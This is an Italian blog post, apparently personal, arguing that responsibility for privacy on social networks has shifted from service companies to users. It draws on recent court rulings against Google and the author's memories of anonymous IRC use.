Social networking e privacy

Scrivo raramente di questioni "filosofiche" relative al mondo dell'informatica ma oggi mi trovo a fare una riflessione sul fenomeno che da emergente è diventato abituale nella nostra vita: la partecipazione ai social network.

Ne parlo oggi in occasione delle sentenze dei tribunali che intimano a Google più privacy. Ne parlo oggi dove si parla molto di responsabilità delle compagnie che offrono i servizi e molto poco delle responsabilità degli utenti che utilizzano abitualmente (o meno) questi servizi.

Abbiamo assistito senza accorgercene a un decentramento delle responsabilità: gli utenti sono padroni della loro privacy e determinano in che misura gli altri utenti possono "farsi gli affari nostri". Lamentarsi successivamente perchè certe informazioni sono diffuse da solamente l'impressione che ci sia poca chiarezza su cosa sia il web.

Non troppo tempo fa (e anche oggi per quel che mi riguarda) ci si connetteva ad irc passando per un proxy che fosse il più sicuro e distante dalla nostra posizione geografica. Ci si mascherava dietro nick imperscrutabili. Si custodiva gelosamente la nostra identità.

Oggi non è più così e il web è diventato un estensione della nostra vita. Viene però troppo spesso confuso con la nostra vita e nei casi più estremi si sostituisce alla vita reale e qui scattano i problemi. L'audience è sterminato e il pericolo è di sentirsi in un reality perchè, diciamolo pure, a tutti i neo-internauti piace sentirsi nel Grande Fratello del giorno.

La cosa che vorrei vedere di più però è una responsabilizzazione degli utenti perchè ora la sicurezza verte su di loro. La privacy, o ciò che ne rimane, è nelle loro mani e poi non si deve e non si può piangere contro le compagnie che forniscono i servizi.

Spero di aver reso il più chiare possibili le mie idee con questo post. Con ciò non intendo asserire che le compagnie non hanno le loro responsabilità. Il vero problema è che stanno scivolando verso gli utenti.